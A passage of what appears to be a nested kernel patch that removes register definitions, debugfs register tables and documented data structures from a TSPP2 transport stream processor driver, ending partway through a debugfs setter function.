TSPP2_GLOBAL_IRQ_CLEAR 0x6304 +-#define TSPP2_GLOBAL_IRQ_ENABLE 0x6308 +-#define TSPP2_KEY_NOT_READY_IRQ_STATUS 0x6310 +-#define TSPP2_KEY_NOT_READY_IRQ_CLEAR 0x6314 +-#define TSPP2_KEY_NOT_READY_IRQ_ENABLE 0x6318 +-#define TSPP2_UNEXPECTED_RST_IRQ_STATUS 0x6320 +-#define TSPP2_UNEXPECTED_RST_IRQ_CLEAR 0x6324 +-#define TSPP2_UNEXPECTED_RST_IRQ_ENABLE 0x6328 +-#define TSPP2_WRONG_PIPE_DIR_IRQ_STATUS 0x6330 +-#define TSPP2_WRONG_PIPE_DIR_IRQ_CLEAR 0x6334 +-#define TSPP2_WRONG_PIPE_DIR_IRQ_ENABLE 0x6338 +-#define TSPP2_QSB_RESPONSE_ERROR_IRQ_STATUS 0x6340 +-#define TSPP2_QSB_RESPONSE_ERROR_IRQ_CLEAR 0x6344 +-#define TSPP2_QSB_RESPONSE_ERROR_IRQ_ENABLE 0x6348 +-#define TSPP2_SRC_TOTAL_TSP_RESET 0x6710 +-#define TSPP2_SRC_FILTERED_OUT_TSP_RESET 0x6714 +-#define TSPP2_DATA_NOT_SENT_ON_PIPE_RESET 0x6718 +-#define TSPP2_VERSION 0x6FFC +- +-/* Bits for TSPP2_GLOBAL_IRQ_CLEAR register */ +-#define GLOBAL_IRQ_CLEAR_RESERVED_OFFS 4 +- +-/* Bits for TSPP2_VERSION register */ +-#define VERSION_MAJOR_OFFS 28 +-#define VERSION_MINOR_OFFS 16 +-#define VERSION_STEP_OFFS 0 +- +-/* Bits for TSPP2_GLOBAL_IRQ_XXX registers */ +-#define GLOBAL_IRQ_TSP_INVALID_AF_OFFS 0 +-#define GLOBAL_IRQ_TSP_INVALID_LEN_OFFS 1 +-#define GLOBAL_IRQ_PES_NO_SYNC_OFFS 2 +-#define GLOBAL_IRQ_ENCRYPT_LEVEL_ERR_OFFS 3 +-#define GLOBAL_IRQ_KEY_NOT_READY_OFFS 4 +-#define GLOBAL_IRQ_UNEXPECTED_RESET_OFFS 5 +-#define GLOBAL_IRQ_QSB_RESP_ERR_OFFS 6 +-#define GLOBAL_IRQ_WRONG_PIPE_DIR_OFFS 7 +-#define GLOBAL_IRQ_SC_GO_HIGH_OFFS 8 +-#define GLOBAL_IRQ_SC_GO_LOW_OFFS 9 +-#define GLOBAL_IRQ_READ_FAIL_OFFS 16 +-#define GLOBAL_IRQ_FC_STALL_OFFS 24 +- +-/* Bits for TSPP2_PCR_GLOBAL_CONFIG register */ +-#define PCR_GLOBAL_CONFIG_PCR_ON_DISCONT_OFFS 10 +-#define PCR_GLOBAL_CONFIG_STC_OFFSET_OFFS 8 +-#define PCR_GLOBAL_CONFIG_PCR_INTERVAL_OFFS 0 +-#define PCR_GLOBAL_CONFIG_PCR_ON_DISCONT BIT(10) +-#define PCR_GLOBAL_CONFIG_STC_OFFSET (BIT(8)|BIT(9)) +-#define PCR_GLOBAL_CONFIG_PCR_INTERVAL 0xFF +- +-/* n = 0..3, each register handles 32 filters */ +-#define TSPP2_SC_GO_HIGH_STATUS(n) (0x6350 + ((n) << 2)) +-#define TSPP2_SC_GO_HIGH_CLEAR(n) (0x6360 + ((n) << 2)) +-#define TSPP2_SC_GO_HIGH_ENABLE(n) (0x6370 + ((n) << 2)) +-#define TSPP2_SC_GO_LOW_STATUS(n) (0x6390 + ((n) << 2)) +-#define TSPP2_SC_GO_LOW_CLEAR(n) (0x63A0 + ((n) << 2)) +-#define TSPP2_SC_GO_LOW_ENABLE(n) (0x63B0 + ((n) << 2)) +- +-/* n = 0..3, each register handles 32 contexts */ +-#define TSPP2_TSP_CONTEXT_RESET(n) (0x6500 + ((n) << 2)) +-#define TSPP2_PES_CONTEXT_RESET(n) (0x6510 + ((n) << 2)) +-#define TSPP2_INDEXING_CONTEXT_RESET(n) (0x6520 + ((n) << 2)) +- +-/* debugfs entries */ +- +-#define TSPP2_S_RW (S_IRUGO | S_IWUSR) +- +-struct debugfs_entry { +- const char *name; +- mode_t mode; +- int offset; +-}; +- +-static const struct debugfs_entry tsif_regs[] = { +- {"sts_ctl", TSPP2_S_RW, TSPP2_TSIF_STS_CTL}, +- {"time_limit", TSPP2_S_RW, TSPP2_TSIF_TIME_LIMIT}, +- {"clk_ref", TSPP2_S_RW, TSPP2_TSIF_CLK_REF}, +- {"lpbk_flags", TSPP2_S_RW, TSPP2_TSIF_LPBK_FLAGS}, +- {"lpbk_data", TSPP2_S_RW, TSPP2_TSIF_LPBK_DATA}, +- {"data_port", S_IRUGO, TSPP2_TSIF_DATA_PORT}, +-}; +- +-static const struct debugfs_entry tspp2_regs[] = { +- /* Memory input source configuration registers */ +- {"mem_input_src_config_0", TSPP2_S_RW, TSPP2_MEM_INPUT_SRC_CONFIG(0)}, +- {"mem_input_src_config_1", TSPP2_S_RW, TSPP2_MEM_INPUT_SRC_CONFIG(1)}, +- {"mem_input_src_config_2", TSPP2_S_RW, TSPP2_MEM_INPUT_SRC_CONFIG(2)}, +- {"mem_input_src_config_3", TSPP2_S_RW, TSPP2_MEM_INPUT_SRC_CONFIG(3)}, +- {"mem_input_src_config_4", TSPP2_S_RW, TSPP2_MEM_INPUT_SRC_CONFIG(4)}, +- {"mem_input_src_config_5", TSPP2_S_RW, TSPP2_MEM_INPUT_SRC_CONFIG(5)}, +- {"mem_input_src_config_6", TSPP2_S_RW, TSPP2_MEM_INPUT_SRC_CONFIG(6)}, +- {"mem_input_src_config_7", TSPP2_S_RW, TSPP2_MEM_INPUT_SRC_CONFIG(7)}, +- /* TSIF input source configuration registers */ +- {"tsif_input_src_config_0", TSPP2_S_RW, TSPP2_TSIF_INPUT_SRC_CONFIG(0)}, +- {"tsif_input_src_config_1", TSPP2_S_RW, TSPP2_TSIF_INPUT_SRC_CONFIG(1)}, +- /* Source destination pipes association registers */ +- {"src_dest_pipes_0", TSPP2_S_RW, TSPP2_SRC_DEST_PIPES(0)}, +- {"src_dest_pipes_1", TSPP2_S_RW, TSPP2_SRC_DEST_PIPES(1)}, +- {"src_dest_pipes_2", TSPP2_S_RW, TSPP2_SRC_DEST_PIPES(2)}, +- {"src_dest_pipes_3", TSPP2_S_RW, TSPP2_SRC_DEST_PIPES(3)}, +- {"src_dest_pipes_4", TSPP2_S_RW, TSPP2_SRC_DEST_PIPES(4)}, +- {"src_dest_pipes_5", TSPP2_S_RW, TSPP2_SRC_DEST_PIPES(5)}, +- {"src_dest_pipes_6", TSPP2_S_RW, TSPP2_SRC_DEST_PIPES(6)}, +- {"src_dest_pipes_7", TSPP2_S_RW, TSPP2_SRC_DEST_PIPES(7)}, +- {"src_dest_pipes_8", TSPP2_S_RW, TSPP2_SRC_DEST_PIPES(8)}, +- {"src_dest_pipes_9", TSPP2_S_RW, TSPP2_SRC_DEST_PIPES(9)}, +- /* Source configuration registers */ +- {"src_config_0", TSPP2_S_RW, TSPP2_SRC_CONFIG(0)}, +- {"src_config_1", TSPP2_S_RW, TSPP2_SRC_CONFIG(1)}, +- {"src_config_2", TSPP2_S_RW, TSPP2_SRC_CONFIG(2)}, +- {"src_config_3", TSPP2_S_RW, TSPP2_SRC_CONFIG(3)}, +- {"src_config_4", TSPP2_S_RW, TSPP2_SRC_CONFIG(4)}, +- {"src_config_5", TSPP2_S_RW, TSPP2_SRC_CONFIG(5)}, +- {"src_config_6", TSPP2_S_RW, TSPP2_SRC_CONFIG(6)}, +- {"src_config_7", TSPP2_S_RW, TSPP2_SRC_CONFIG(7)}, +- {"src_config_8", TSPP2_S_RW, TSPP2_SRC_CONFIG(8)}, +- {"src_config_9", TSPP2_S_RW, TSPP2_SRC_CONFIG(9)}, +- /* Source total TS packets counter registers */ +- {"src_total_tsp_0", S_IRUGO, TSPP2_SRC_TOTAL_TSP(0)}, +- {"src_total_tsp_1", S_IRUGO, TSPP2_SRC_TOTAL_TSP(1)}, +- {"src_total_tsp_2", S_IRUGO, TSPP2_SRC_TOTAL_TSP(2)}, +- {"src_total_tsp_3", S_IRUGO, TSPP2_SRC_TOTAL_TSP(3)}, +- {"src_total_tsp_4", S_IRUGO, TSPP2_SRC_TOTAL_TSP(4)}, +- {"src_total_tsp_5", S_IRUGO, TSPP2_SRC_TOTAL_TSP(5)}, +- {"src_total_tsp_6", S_IRUGO, TSPP2_SRC_TOTAL_TSP(6)}, +- {"src_total_tsp_7", S_IRUGO, TSPP2_SRC_TOTAL_TSP(7)}, +- {"src_total_tsp_8", S_IRUGO, TSPP2_SRC_TOTAL_TSP(8)}, +- {"src_total_tsp_9", S_IRUGO, TSPP2_SRC_TOTAL_TSP(9)}, +- /* Source total filtered out TS packets counter registers */ +- {"src_filtered_out_tsp_0", S_IRUGO, TSPP2_SRC_FILTERED_OUT_TSP(0)}, +- {"src_filtered_out_tsp_1", S_IRUGO, TSPP2_SRC_FILTERED_OUT_TSP(1)}, +- {"src_filtered_out_tsp_2", S_IRUGO, TSPP2_SRC_FILTERED_OUT_TSP(2)}, +- {"src_filtered_out_tsp_3", S_IRUGO, TSPP2_SRC_FILTERED_OUT_TSP(3)}, +- {"src_filtered_out_tsp_4", S_IRUGO, TSPP2_SRC_FILTERED_OUT_TSP(4)}, +- {"src_filtered_out_tsp_5", S_IRUGO, TSPP2_SRC_FILTERED_OUT_TSP(5)}, +- {"src_filtered_out_tsp_6", S_IRUGO, TSPP2_SRC_FILTERED_OUT_TSP(6)}, +- {"src_filtered_out_tsp_7", S_IRUGO, TSPP2_SRC_FILTERED_OUT_TSP(7)}, +- {"src_filtered_out_tsp_8", S_IRUGO, TSPP2_SRC_FILTERED_OUT_TSP(8)}, +- {"src_filtered_out_tsp_9", S_IRUGO, TSPP2_SRC_FILTERED_OUT_TSP(9)}, +- /* Global registers */ +- {"pipe_security", TSPP2_S_RW, TSPP2_PIPE_SECURITY}, +- {"pcr_global_config", TSPP2_S_RW, TSPP2_PCR_GLOBAL_CONFIG}, +- {"clk_to_pcr_time_unit", TSPP2_S_RW, TSPP2_CLK_TO_PCR_TIME_UNIT}, +- {"desc_wait_timeout", TSPP2_S_RW, TSPP2_DESC_WAIT_TIMEOUT}, +- {"global_irq_status", S_IRUGO, TSPP2_GLOBAL_IRQ_STATUS}, +- {"global_irq_clear", S_IWUSR, TSPP2_GLOBAL_IRQ_CLEAR}, +- {"global_irq_en", TSPP2_S_RW, TSPP2_GLOBAL_IRQ_ENABLE}, +- {"key_not_ready_irq_status", S_IRUGO, TSPP2_KEY_NOT_READY_IRQ_STATUS}, +- {"key_not_ready_irq_clear", S_IWUSR, TSPP2_KEY_NOT_READY_IRQ_CLEAR}, +- {"key_not_ready_irq_en", TSPP2_S_RW, TSPP2_KEY_NOT_READY_IRQ_ENABLE}, +- {"unexpected_rst_irq_status", S_IRUGO, TSPP2_UNEXPECTED_RST_IRQ_STATUS}, +- {"unexpected_rst_irq_clear", S_IWUSR, TSPP2_UNEXPECTED_RST_IRQ_CLEAR}, +- {"unexpected_rst_irq_en", TSPP2_S_RW, TSPP2_UNEXPECTED_RST_IRQ_ENABLE}, +- {"wrong_pipe_dir_irq_status", S_IRUGO, TSPP2_WRONG_PIPE_DIR_IRQ_STATUS}, +- {"wrong_pipe_dir_irq_clear", S_IWUSR, TSPP2_WRONG_PIPE_DIR_IRQ_CLEAR}, +- {"wrong_pipe_dir_irq_en", TSPP2_S_RW, TSPP2_WRONG_PIPE_DIR_IRQ_ENABLE}, +- {"qsb_response_error_irq_status", S_IRUGO, +- TSPP2_QSB_RESPONSE_ERROR_IRQ_STATUS}, +- {"qsb_response_error_irq_clear", S_IWUSR, +- TSPP2_QSB_RESPONSE_ERROR_IRQ_CLEAR}, +- {"qsb_response_error_irq_en", TSPP2_S_RW, +- TSPP2_QSB_RESPONSE_ERROR_IRQ_ENABLE}, +- {"src_total_tsp_reset", S_IWUSR, TSPP2_SRC_TOTAL_TSP_RESET}, +- {"src_filtered_out_tsp_reset", S_IWUSR, +- TSPP2_SRC_FILTERED_OUT_TSP_RESET}, +- {"data_not_sent_on_pipe_reset", S_IWUSR, +- TSPP2_DATA_NOT_SENT_ON_PIPE_RESET}, +- {"version", S_IRUGO, TSPP2_VERSION}, +- /* Scrambling bits monitoring interrupt registers */ +- {"sc_go_high_status_0", S_IRUGO, TSPP2_SC_GO_HIGH_STATUS(0)}, +- {"sc_go_high_status_1", S_IRUGO, TSPP2_SC_GO_HIGH_STATUS(1)}, +- {"sc_go_high_status_2", S_IRUGO, TSPP2_SC_GO_HIGH_STATUS(2)}, +- {"sc_go_high_status_3", S_IRUGO, TSPP2_SC_GO_HIGH_STATUS(3)}, +- {"sc_go_high_clear_0", S_IWUSR, TSPP2_SC_GO_HIGH_CLEAR(0)}, +- {"sc_go_high_clear_1", S_IWUSR, TSPP2_SC_GO_HIGH_CLEAR(1)}, +- {"sc_go_high_clear_2", S_IWUSR, TSPP2_SC_GO_HIGH_CLEAR(2)}, +- {"sc_go_high_clear_3", S_IWUSR, TSPP2_SC_GO_HIGH_CLEAR(3)}, +- {"sc_go_high_en_0", TSPP2_S_RW, TSPP2_SC_GO_HIGH_ENABLE(0)}, +- {"sc_go_high_en_1", TSPP2_S_RW, TSPP2_SC_GO_HIGH_ENABLE(1)}, +- {"sc_go_high_en_2", TSPP2_S_RW, TSPP2_SC_GO_HIGH_ENABLE(2)}, +- {"sc_go_high_en_3", TSPP2_S_RW, TSPP2_SC_GO_HIGH_ENABLE(3)}, +- {"sc_go_low_status_0", S_IRUGO, TSPP2_SC_GO_LOW_STATUS(0)}, +- {"sc_go_low_status_1", S_IRUGO, TSPP2_SC_GO_LOW_STATUS(1)}, +- {"sc_go_low_status_2", S_IRUGO, TSPP2_SC_GO_LOW_STATUS(2)}, +- {"sc_go_low_status_3", S_IRUGO, TSPP2_SC_GO_LOW_STATUS(3)}, +- {"sc_go_low_clear_0", S_IWUSR, TSPP2_SC_GO_LOW_CLEAR(0)}, +- {"sc_go_low_clear_1", S_IWUSR, TSPP2_SC_GO_LOW_CLEAR(1)}, +- {"sc_go_low_clear_2", S_IWUSR, TSPP2_SC_GO_LOW_CLEAR(2)}, +- {"sc_go_low_clear_3", S_IWUSR, TSPP2_SC_GO_LOW_CLEAR(3)}, +- {"sc_go_low_en_0", TSPP2_S_RW, TSPP2_SC_GO_LOW_ENABLE(0)}, +- {"sc_go_low_en_1", TSPP2_S_RW, TSPP2_SC_GO_LOW_ENABLE(1)}, +- {"sc_go_low_en_2", TSPP2_S_RW, TSPP2_SC_GO_LOW_ENABLE(2)}, +- {"sc_go_low_en_3", TSPP2_S_RW, TSPP2_SC_GO_LOW_ENABLE(3)}, +-}; +- +-/* Data structures */ +- +-/** +- * struct tspp2_tsif_device - TSIF device +- * +- * @base: TSIF device memory base address. +- * @hw_index: TSIF device HW index (0 .. (TSPP2_NUM_TSIF_INPUTS - 1)). +- * @dev: Back pointer to the TSPP2 device. +- * @time_limit: TSIF device time limit +- * (maximum time allowed between each TS packet). +- * @ref_count: TSIF device reference count. +- * @tsif_irq: TSIF device IRQ number. +- * @mode: TSIF mode of operation. +- * @clock_inverse: Invert input clock signal. +- * @data_inverse: Invert input data signal. +- * @sync_inverse: Invert input sync signal. +- * @enable_inverse: Invert input enable signal. +- * @debugfs_entrys: TSIF device debugfs entry. +- * @stat_pkt_write_err: TSIF device packet write error statistics. +- * @stat__pkt_read_err: TSIF device packet read error statistics. +- * @stat_overflow: TSIF device overflow statistics. +- * @stat_lost_sync: TSIF device lost sync statistics. +- * @stat_timeout: TSIF device timeout statistics. +- */ +-struct tspp2_tsif_device { +- void __iomem *base; +- u32 hw_index; +- struct tspp2_device *dev; +- u32 time_limit; +- u32 ref_count; +- u32 tsif_irq; +- enum tspp2_tsif_mode mode; +- int clock_inverse; +- int data_inverse; +- int sync_inverse; +- int enable_inverse; +- struct dentry *debugfs_entry; +- u32 stat_pkt_write_err; +- u32 stat_pkt_read_err; +- u32 stat_overflow; +- u32 stat_lost_sync; +- u32 stat_timeout; +-}; +- +-/** +- * struct tspp2_indexing_table - Indexing table +- * +- * @prefix_value: 4-byte common prefix value. +- * @prefix_mask: 4-byte prefix mask. +- * @entry_value: An array of 4-byte pattern values. +- * @entry_mask: An array of corresponding 4-byte pattern masks. +- * @num_valid_entries: Number of valid entries in the arrays. +- */ +-struct tspp2_indexing_table { +- u32 prefix_value; +- u32 prefix_mask; +- u32 entry_value[TSPP2_NUM_INDEXING_PATTERNS]; +- u32 entry_mask[TSPP2_NUM_INDEXING_PATTERNS]; +- u16 num_valid_entries; +-}; +- +-/** +- * struct tspp2_event_work - Event work information +- * +- * @device: TSPP2 device back-pointer. +- * @callback: Callback to invoke. +- * @cookie: Cookie to pass to the callback. +- * @event_bitmask: A bit mask of events to pass to the callback. +- * @work: The work structure to queue. +- * @link: A list element. +- */ +-struct tspp2_event_work { +- struct tspp2_device *device; +- void (*callback)(void *cookie, u32 event_bitmask); +- void *cookie; +- u32 event_bitmask; +- struct work_struct work; +- struct list_head link; +-}; +- +-/** +- * struct tspp2_filter - Filter object +- * +- * @opened: A flag to indicate whether the filter is open. +- * @device: Back-pointer to the TSPP2 device the filter +- * belongs to. +- * @batch: The filter batch this filter belongs to. +- * @src: Back-pointer to the source the filter is +- * associated with. +- * @hw_index: The filter's HW index. +- * @pid_value: The filter's 13-bit PID value. +- * @mask: The corresponding 13-bit bitmask. +- * @context: The filter's context ID. +- * @indexing_table_id: The ID of the indexing table this filter uses +- * in case an indexing operation is set. +- * @operations: An array of user-defined operations. +- * @num_user_operations: The number of user-defined operations. +- * @indexing_op_set: A flag to indicate an indexing operation +- * has been set. +- * @raw_op_with_indexing: A flag to indicate a Raw Transmit operation +- * with support_indexing parameter has been set. +- * @pes_analysis_op_set: A flag to indicate a PES Analysis operation +- * has been set. +- * @raw_op_set: A flag to indicate a Raw Transmit operation +- * has been set. +- * @pes_tx_op_set: A flag to indicate a PES Transmit operation +- * has been set. +- * @event_callback: A user callback to invoke when a filter event +- * occurs. +- * @event_cookie: A user cookie to provide to the callback. +- * @event_bitmask: A bit mask of filter events +- * TSPP2_FILTER_EVENT_XXX. +- * @enabled: A flag to indicate whether the filter +- * is enabled. +- * @link: A list element. When the filter is associated +- * with a source, it is added to the source's +- * list of filters. +- */ +-struct tspp2_filter { +- int opened; +- struct tspp2_device *device; +- struct tspp2_filter_batch *batch; +- struct tspp2_src *src; +- u16 hw_index; +- u16 pid_value; +- u16 mask; +- u16 context; +- u8 indexing_table_id; +- struct tspp2_operation operations[TSPP2_MAX_OPS_PER_FILTER]; +- u8 num_user_operations; +- int indexing_op_set; +- int raw_op_with_indexing; +- int pes_analysis_op_set; +- int raw_op_set; +- int pes_tx_op_set; +- void (*event_callback)(void *cookie, u32 event_bitmask); +- void *event_cookie; +- u32 event_bitmask; +- int enabled; +- struct list_head link; +-}; +- +-/** +- * struct tspp2_pipe - Pipe object +- * +- * @opened: A flag to indicate whether the pipe is open. +- * @device: Back-pointer to the TSPP2 device the pipe belongs to. +- * @cfg: Pipe configuration parameters. +- * @sps_pipe: The BAM SPS pipe. +- * @sps_connect_cfg: SPS pipe connection configuration. +- * @sps_event: SPS pipe event registration parameters. +- * @desc_ion_handle: ION handle for the SPS pipe descriptors. +- * @iova: TSPP2 IOMMU-mapped virtual address of the +- * data buffer provided by the user. +- * @hw_index: The pipe's HW index (for register access). +- * @threshold: Pipe threshold. +- * @ref_cnt: Pipe reference count. Incremented when pipe +- * is attached to a source, decremented when it +- * is detached from a source. +- */ +-struct tspp2_pipe { +- int opened; +- struct tspp2_device *device; +- struct tspp2_pipe_config_params cfg; +- struct sps_pipe *sps_pipe; +- struct sps_connect sps_connect_cfg; +- struct sps_register_event sps_event; +- struct ion_handle *desc_ion_handle; +- ion_phys_addr_t iova; +- u32 hw_index; +- u16 threshold; +- u32 ref_cnt; +-}; +- +-/** +- * struct tspp2_output_pipe - Output pipe element to add to a source's list +- * +- * @pipe: A pointer to an output pipe object. +- * @link: A list element. When an output pipe is attached to a source, +- * it is added to the source's output pipe list. Note the same pipe +- * can be attached to multiple sources, so we allocate an output +- * pipe element to add to the list - we don't add the actual pipe. +- */ +-struct tspp2_output_pipe { +- struct tspp2_pipe *pipe; +- struct list_head link; +-}; +- +-/** +- * struct tspp2_filter_batch - Filter batch object +- * +- * @batch_id: Filter batch ID. +- * @hw_filters: An array of HW filters that belong to this batch. When set, this +- * indicates the filter is used. The actual HW index of a filter is +- * calculated according to the index in this array along with the +- * batch ID. +- * @src: Back-pointer to the source the batch is associated with. This is +- * also used to indicate this batch is "taken". +- * @link: A list element. When the batch is associated with a source, it +- * is added to the source's list of filter batches. +- */ +-struct tspp2_filter_batch { +- u8 batch_id; +- int hw_filters[TSPP2_FILTERS_PER_BATCH]; +- struct tspp2_src *src; +- struct list_head link; +-}; +- +-/** +- * struct tspp2_src - Source object +- * +- * @opened: A flag to indicate whether the source is open. +- * @device: Back-pointer to the TSPP2 device the source +- * belongs to. +- * @hw_index: The source's HW index. This is used when writing +- * to HW registers relevant for this source. +- * There are registers specific to TSIF or memory +- * sources, and there are registers common to all +- * sources. +- * @input: Source input type (TSIF / memory). +- * @pkt_format: Input packet size and format for this source. +- * @scrambling_bits_monitoring: Scrambling bits monitoring mode. +- * @batches_list: A list of associated filter batches. +- * @filters_list: A list of associated filters. +- * @input_pipe: A pointer to the source's input pipe, if exists. +- * @output_pipe_list: A list of output pipes attached to the source. +- * For each pipe we also save whether it is +- * stalling for this source. +- * @num_associated_batches: Number of associated filter batches. +- * @num_associated_pipes: Number of associated pipes. +- * @num_associated_filters: Number of associated filters. +- * @reserved_filter_hw_index: A HW filter index reserved for updating an +- * active filter's operations. +- * @event_callback: A user callback to invoke when a source event +- * occurs. +- * @event_cookie: A user cookie to provide to the callback. +- * @event_bitmask: A bit mask of source events +- * TSPP2_SRC_EVENT_XXX. +- * @enabled: A flag to indicate whether the source +- * is enabled. +- */ +-struct tspp2_src { +- int opened; +- struct tspp2_device *device; +- u8 hw_index; +- enum tspp2_src_input input; +- enum tspp2_packet_format pkt_format; +- enum tspp2_src_scrambling_monitoring scrambling_bits_monitoring; +- struct list_head batches_list; +- struct list_head filters_list; +- struct tspp2_pipe *input_pipe; +- struct list_head output_pipe_list; +- u8 num_associated_batches; +- u8 num_associated_pipes; +- u32 num_associated_filters; +- u16 reserved_filter_hw_index; +- void (*event_callback)(void *cookie, u32 event_bitmask); +- void *event_cookie; +- u32 event_bitmask; +- int enabled; +-}; +- +-/** +- * struct tspp2_global_irq_stats - Global interrupt statistics counters +- * +- * @tsp_invalid_af_control: Invalid adaptation field control bit. +- * @tsp_invalid_length: Invalid adaptation field length. +- * @pes_no_sync: PES sync sequence not found. +- * @encrypt_level_err: Cipher operation configuration error. +- */ +-struct tspp2_global_irq_stats { +- u32 tsp_invalid_af_control; +- u32 tsp_invalid_length; +- u32 pes_no_sync; +- u32 encrypt_level_err; +-}; +- +-/** +- * struct tspp2_src_irq_stats - Memory source interrupt statistics counters +- * +- * @read_failure: Failure to read from memory input. +- * @flow_control_stall: Input is stalled due to flow control. +- */ +-struct tspp2_src_irq_stats { +- u32 read_failure; +- u32 flow_control_stall; +-}; +- +-/** +- * struct tspp2_keytable_irq_stats - Key table interrupt statistics counters +- * +- * @key_not_ready: Ciphering keys are not ready in the key table. +- */ +-struct tspp2_keytable_irq_stats { +- u32 key_not_ready; +-}; +- +-/** +- * struct tspp2_pipe_irq_stats - Pipe interrupt statistics counters +- * +- * @unexpected_reset: SW reset the pipe before all operations on this +- * pipe ended. +- * @qsb_response_error: TX operation ends with QSB error. +- * @wrong_pipe_direction: Trying to use a pipe in the wrong direction. +- */ +-struct tspp2_pipe_irq_stats { +- u32 unexpected_reset; +- u32 qsb_response_error; +- u32 wrong_pipe_direction; +-}; +- +-/** +- * struct tspp2_filter_context_irq_stats - Filter interrupt statistics counters +- * +- * @sc_go_high: Scrambling bits change from clear to encrypted. +- * @sc_go_low: Scrambling bits change from encrypted to clear. +- */ +-struct tspp2_filter_context_irq_stats { +- u32 sc_go_high; +- u32 sc_go_low; +-}; +- +-/** +- * struct tspp2_irq_stats - Interrupt statistics counters +- * +- * @global: Global interrupt statistics counters +- * @src: Memory source interrupt statistics counters +- * @kt: Key table interrupt statistics counters +- * @pipe: Pipe interrupt statistics counters +- * @ctx: Filter context interrupt statistics counters +- */ +-struct tspp2_irq_stats { +- struct tspp2_global_irq_stats global; +- struct tspp2_src_irq_stats src[TSPP2_NUM_MEM_INPUTS]; +- struct tspp2_keytable_irq_stats kt[TSPP2_NUM_KEYTABLES]; +- struct tspp2_pipe_irq_stats pipe[TSPP2_NUM_PIPES]; +- struct tspp2_filter_context_irq_stats ctx[TSPP2_NUM_CONTEXTS]; +-}; +- +-/** +- * struct tspp2_iommu_info - TSPP2 IOMMU information +- * +- * @hlos_group: TSPP2 IOMMU HLOS (Non-Secure) group. +- * @cpz_group: TSPP2 IOMMU HLOS (Secure) group. +- * @hlos_domain: TSPP2 IOMMU HLOS (Non-Secure) domain. +- * @cpz_domain: TSPP2 IOMMU CPZ (Secure) domain. +- * @hlos_domain_num: TSPP2 IOMMU HLOS (Non-Secure) domain number. +- * @cpz_domain_num: TSPP2 IOMMU CPZ (Secure) domain number. +- * @hlos_partition: TSPP2 IOMMU HLOS partition number. +- * @cpz_partition: TSPP2 IOMMU CPZ partition number. +- */ +-struct tspp2_iommu_info { +- struct iommu_group *hlos_group; +- struct iommu_group *cpz_group; +- struct iommu_domain *hlos_domain; +- struct iommu_domain *cpz_domain; +- int hlos_domain_num; +- int cpz_domain_num; +- int hlos_partition; +- int cpz_partition; +-}; +- +-/** +- * struct tspp2_device - TSPP2 device +- * +- * @dev_id: TSPP2 device ID. +- * @opened: A flag to indicate whether the device is open. +- * @pdev: Platform device. +- * @dev: Device structure, used for driver prints. +- * @base: TSPP2 Device memory base address. +- * @tspp2_irq: TSPP2 Device IRQ number. +- * @bam_handle: BAM handle. +- * @bam_irq: BAM IRQ number. +- * @bam_props: BAM properties. +- * @iommu_info: IOMMU information. +- * @wakeup_src: A wakeup source to keep CPU awake when needed. +- * @spinlock: A spinlock to protect accesses to +- * data structures that happen from APIs and ISRs. +- * @mutex: A mutex for mutual exclusion between API calls. +- * @tsif_devices: An array of TSIF devices. +- * @gdsc: GDSC power regulator. +- * @bus_client: Client for bus bandwidth voting. +- * @tspp2_ahb_clk: TSPP2 AHB clock. +- * @tspp2_core_clk: TSPP2 core clock. +- * @tspp2_vbif_clk: TSPP2 VBIF clock. +- * @vbif_ahb_clk: VBIF AHB clock. +- * @vbif_axi_clk: VBIF AXI clock. +- * @tspp2_klm_ahb_clk: TSPP2 KLM AHB clock. +- * @tsif_ref_clk: TSIF reference clock. +- * @batches: An array of filter batch objects. +- * @contexts: An array of context indexes. The index in this +- * array represents the context's HW index, while +- * the value represents whether it is used by a +- * filter or free. +- * @indexing_tables: An array of indexing tables. +- * @tsif_sources: An array of source objects for TSIF input. +- * @mem_sources: An array of source objects for memory input. +- * @filters: An array of filter objects. +- * @pipes: An array of pipe objects. +- * @num_secured_opened_pipes: Number of secured opened pipes. +- * @num_non_secured_opened_pipes: Number of non-secured opened pipes. +- * @num_enabled_sources: Number of enabled sources. +- * @work_queue: A work queue for invoking user callbacks. +- * @event_callback: A user callback to invoke when a global event +- * occurs. +- * @event_cookie: A user cookie to provide to the callback. +- * @event_bitmask: A bit mask of global events +- * TSPP2_GLOBAL_EVENT_XXX. +- * @debugfs_entry: TSPP2 device debugfs entry. +- * @irq_stats: TSPP2 IRQ statistics. +- * @free_work_list: A list of available work elements. +- * @work_pool: A pool of work elements. +- */ +-struct tspp2_device { +- u32 dev_id; +- int opened; +- struct platform_device *pdev; +- struct device *dev; +- void __iomem *base; +- u32 tspp2_irq; +- unsigned long bam_handle; +- u32 bam_irq; +- struct sps_bam_props bam_props; +- struct tspp2_iommu_info iommu_info; +- struct wakeup_source wakeup_src; +- spinlock_t spinlock; +- struct mutex mutex; +- struct tspp2_tsif_device tsif_devices[TSPP2_NUM_TSIF_INPUTS]; +- struct regulator *gdsc; +- uint32_t bus_client; +- struct clk *tspp2_ahb_clk; +- struct clk *tspp2_core_clk; +- struct clk *tspp2_vbif_clk; +- struct clk *vbif_ahb_clk; +- struct clk *vbif_axi_clk; +- struct clk *tspp2_klm_ahb_clk; +- struct clk *tsif_ref_clk; +- struct tspp2_filter_batch batches[TSPP2_NUM_BATCHES]; +- int contexts[TSPP2_NUM_AVAIL_CONTEXTS]; +- struct tspp2_indexing_table indexing_tables[TSPP2_NUM_INDEXING_TABLES]; +- struct tspp2_src tsif_sources[TSPP2_NUM_TSIF_INPUTS]; +- struct tspp2_src mem_sources[TSPP2_NUM_MEM_INPUTS]; +- struct tspp2_filter filters[TSPP2_NUM_AVAIL_FILTERS]; +- struct tspp2_pipe pipes[TSPP2_NUM_PIPES]; +- u8 num_secured_opened_pipes; +- u8 num_non_secured_opened_pipes; +- u8 num_enabled_sources; +- struct workqueue_struct *work_queue; +- void (*event_callback)(void *cookie, u32 event_bitmask); +- void *event_cookie; +- u32 event_bitmask; +- struct dentry *debugfs_entry; +- struct tspp2_irq_stats irq_stats; +- struct list_head free_work_list; +- struct tspp2_event_work work_pool[TSPP2_NUM_EVENT_WORK_ELEMENTS]; +-}; +- +-/* Global TSPP2 devices database */ +-static struct tspp2_device *tspp2_devices[TSPP2_NUM_DEVICES]; +- +-/* debugfs support */ +- +-static int debugfs_iomem_x32_set(void *data, u64 val) +-{ +- int ret; +- struct tspp2_device *device = tspp2_devices[0]; /* Assuming device 0 */ +- +- if (!device->opened) +- return -ENODEV; +- +- ret = pm_runtime_get_sync(device->dev); +- if (ret < 0) +- return ret; +- +- 